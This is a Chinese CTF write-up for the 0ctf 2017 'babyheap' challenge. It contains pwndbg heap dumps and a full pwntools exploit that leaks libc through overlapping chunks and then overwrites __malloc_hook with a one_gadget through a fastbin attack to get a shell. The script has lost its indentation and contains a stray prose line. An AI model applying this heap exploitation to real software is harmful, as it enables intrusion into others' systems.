记录一次关于堆的调试过程:
参考:https://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/
首先checksec:
1.png全保护
run:
2.png根据运行可以写一段exp:
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
ida:
3.pngAllocate - 调用 calloc 分配小于 0x1000 大小的内存,calloc 分配的 chunk 会被清空。
Fill - 填充任意大小的内存,意味着可以覆盖其它 chunk。
Free - 释放一块 chunk。
Dump - 输出限制大小的 chunk 内容。
第一步leak libc:
first step:
- alloc(0x60)
- alloc(0x40)
- alloc(0x100)
此时堆的分布:
pwndbg> x/32gx 0x558f2644f000
0x558f2644f000: 0x0000000000000000 0x0000000000000071 #idx0
0x558f2644f010: 0x0000000000000000 0x0000000000000000
0x558f2644f020: 0x0000000000000000 0x0000000000000000
0x558f2644f030: 0x0000000000000000 0x0000000000000000
0x558f2644f040: 0x0000000000000000 0x0000000000000000
0x558f2644f050: 0x0000000000000000 0x0000000000000000
0x558f2644f060: 0x0000000000000000 0x0000000000000000
0x558f2644f070: 0x0000000000000000 0x0000000000000051 #idx1
0x558f2644f080: 0x0000000000000000 0x0000000000000000
0x558f2644f090: 0x0000000000000000 0x0000000000000000
0x558f2644f0a0: 0x0000000000000000 0x0000000000000000
0x558f2644f0b0: 0x0000000000000000 0x0000000000000000
0x558f2644f0c0: 0x0000000000000000 0x0000000000000111 #idx2
0x558f2644f0d0: 0x0000000000000000 0x0000000000000000
0x558f2644f0e0: 0x0000000000000000 0x0000000000000000
0x558f2644f0f0: 0x0000000000000000 0x0000000000000000
second step:
- fill(0,0x60*'a'+p64(0)+p64(0x71))
- fill(2,0x10*'b'+p64(0)+p64(0x71))
- free(1)
- alloc(0x60)
pwndbg> x/32gx 0x55f3025cc000
0x55f3025cc000: 0x0000000000000000 0x0000000000000071
0x55f3025cc010: 0x6161616161616161 0x6161616161616161
0x55f3025cc020: 0x6161616161616161 0x6161616161616161
0x55f3025cc030: 0x6161616161616161 0x6161616161616161
0x55f3025cc040: 0x6161616161616161 0x6161616161616161
0x55f3025cc050: 0x6161616161616161 0x6161616161616161
0x55f3025cc060: 0x6161616161616161 0x6161616161616161
0x55f3025cc070: 0x0000000000000000 0x0000000000000071
0x55f3025cc080: 0x0000000000000000 0x0000000000000000
0x55f3025cc090: 0x0000000000000000 0x0000000000000000
0x55f3025cc0a0: 0x0000000000000000 0x0000000000000000
0x55f3025cc0b0: 0x0000000000000000 0x0000000000000000
0x55f3025cc0c0: 0x0000000000000000 0x0000000000000000
0x55f3025cc0d0: 0x0000000000000000 0x0000000000000000
0x55f3025cc0e0: 0x0000000000000000 0x0000000000000071
0x55f3025cc0f0: 0x0000000000000000 0x0000000000000000
thrid step:
- fill(1,0x40*'c'+p64(0)+p64(0x111))
- alloc(0x100)
- free(2)
- dump(1)
pwndbg> x/32gx 0x5630c0d74000
0x5630c0d74000: 0x0000000000000000 0x0000000000000071
0x5630c0d74010: 0x6161616161616161 0x6161616161616161
0x5630c0d74020: 0x6161616161616161 0x6161616161616161
0x5630c0d74030: 0x6161616161616161 0x6161616161616161
0x5630c0d74040: 0x6161616161616161 0x6161616161616161
0x5630c0d74050: 0x6161616161616161 0x6161616161616161
0x5630c0d74060: 0x6161616161616161 0x6161616161616161
0x5630c0d74070: 0x0000000000000000 0x0000000000000071
0x5630c0d74080: 0x6363636363636363 0x6363636363636363
0x5630c0d74090: 0x6363636363636363 0x6363636363636363
0x5630c0d740a0: 0x6363636363636363 0x6363636363636363
0x5630c0d740b0: 0x6363636363636363 0x6363636363636363
0x5630c0d740c0: 0x0000000000000000 0x0000000000000111
0x5630c0d740d0: 0x00007fa90b8bdb78 0x00007fa90b8bdb78 #main_arena-88的地址
0x5630c0d740e0: 0x0000000000000000 0x0000000000000071
0x5630c0d740f0: 0x0000000000000000 0x0000000000000000
leak出的地址:
0x7fa90b8bdb78 <main_arena+88>: 0x00005630c0d742e0 0x0000000000000000
libc_base = leak出的地址-offset
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x469d3a103000 0x469d3a104000 rw-p 1000 0
0x5630bfc06000 0x5630bfc08000 r-xp 2000 0 /home/cnitlrt/桌面/babyheap
0x5630bfe07000 0x5630bfe08000 r--p 1000 1000 /home/cnitlrt/桌面/babyheap
0x5630bfe08000 0x5630bfe09000 rw-p 1000 2000 /home/cnitlrt/桌面/babyheap
0x5630c0d74000 0x5630c0d95000 rw-p 21000 0 [heap]
0x7fa90b4f9000 0x7fa90b6b9000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fa90b6b9000 0x7fa90b8b9000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fa90b8b9000 0x7fa90b8bd000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fa90b8bd000 0x7fa90b8bf000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
所以offset:
pwndbg> p/x 0x00007fa90b8bdb78-0x7fa90b4f9000
$1 = 0x3c4b78
第二步获取shell(fastbin_attack double free)
pwndbg> x/32gx 0x00007fa90b8bdb78 - 88-16-0x23
0x7fa90b8bdaed <_IO_wide_data_0+301>: 0xa90b8bc260000000 0x000000000000007f
0x7fa90b8bdafd: 0xa90b57ee20000000 0xa90b57ea0000007f
0x7fa90b8bdb0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7fa90b8bdb1d: 0x0000000000000000 0x0000000000000000
0x7fa90b8bdb2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7fa90b8bdb3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7fa90b8bdb4d <main_arena+45>: 0x0000000000000000 0x0000000000000000
0x7fa90b8bdb5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7fa90b8bdb6d <main_arena+77>: 0x0000000000000000 0x30c0d742e0000000
0x7fa90b8bdb7d <main_arena+93>: 0x0000000000000056 0x30c0d740c0000000
0x7fa90b8bdb8d <main_arena+109>: 0x30c0d740c0000056 0xa90b8bdb88000056
0x7fa90b8bdb9d <main_arena+125>: 0xa90b8bdb8800007f 0xa90b8bdb9800007f
0x7fa90b8bdbad <main_arena+141>: 0xa90b8bdb9800007f 0xa90b8bdba800007f
0x7fa90b8bdbbd <main_arena+157>: 0xa90b8bdba800007f 0xa90b8bdbb800007f
0x7fa90b8bdbcd <main_arena+173>: 0xa90b8bdbb800007f 0xa90b8bdbc800007f
0x7fa90b8bdbdd <main_arena+189>: 0xa90b8bdbc800007f 0xa90b8bdbd800007f
利用思路主要是double free:free(1)change chunk1的fd指针,第二次申请到的就是fakechunk ,填充memalign_hook realloc_hook malloc hook覆盖指针为onegadget
完整exp:
from pwn import*
p = process("./babyheap")
context.log_level = 'debug'
libc = ELF("libc-2.23.so")
print util.proc.pidof(p)
pause()
#context.log_level = 'debug'
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
log.success("-----------------------leak libc-------------------------")
alloc(0x60)#0
alloc(0x40)#1
alloc(0x100)#2
fill(0,0x60*'a'+p64(0)+p64(0x71))
fill(2,0x10*'b'+p64(0)+p64(0x71))
free(1)
alloc(0x60)
fill(1,0x40*'c'+p64(0)+p64(0x111))
alloc(0x100)#3
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print hex(main_arena)
offset = hex(0x7f9888706b78-0x7f9888342000)
print offset
libc_base = main_arena - 0x3c4b78
log.success("---------------------getshell------------------------")
malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23
print hex(fake_chunk)
free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
alloc(0x60)
alloc(0x60)
memalign_hook realloc_hook malloc hook
fill(2, "a"*3 +p64(0) +p64(0) +p64(libc_base+0x4526a))
alloc(0x100)
p.interactive()
网友评论